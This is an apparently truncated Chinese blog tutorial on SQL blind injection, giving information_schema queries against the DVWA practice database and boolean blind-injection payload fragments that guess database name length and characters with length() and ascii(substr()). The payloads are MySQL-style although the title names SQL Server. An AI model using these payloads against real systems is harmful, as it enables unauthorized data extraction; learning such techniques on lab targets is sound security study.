sqlserver数据库布尔盲注_SQL注入实战之盲注篇(布尔、时间盲注)

本文详细介绍了SQLServer数据库的布尔盲注和时间盲注技术,包括判断数据库名、表名、字段名及内容的步骤和语句。通过构造逻辑判断语句,如length和ascii函数,结合条件判断如sleep函数,实现信息的逐层揭示。
摘要由CSDN通过智能技术生成

首先还是写一下核心的语句吧。

information_schema

schemata(schema_name)

tables(table_schema,table_name)

columns(table_schema,table_name,column_name)

select schema_name from information_schema.schemata;

select table_name from information_schema.tables where table_schema='dvwa';

select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';

select concat(username,password) from dvwa.users;

布尔盲注

在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。

-select id,name from product where id=1 and 1=1

布尔型盲注步骤和语句

1.判断当前数据库名长度与数据库名称

and select length(database())>n  //判断数据库名长度

and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值

2.判断数据库的表长度与表名

and length((select table_name from information

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值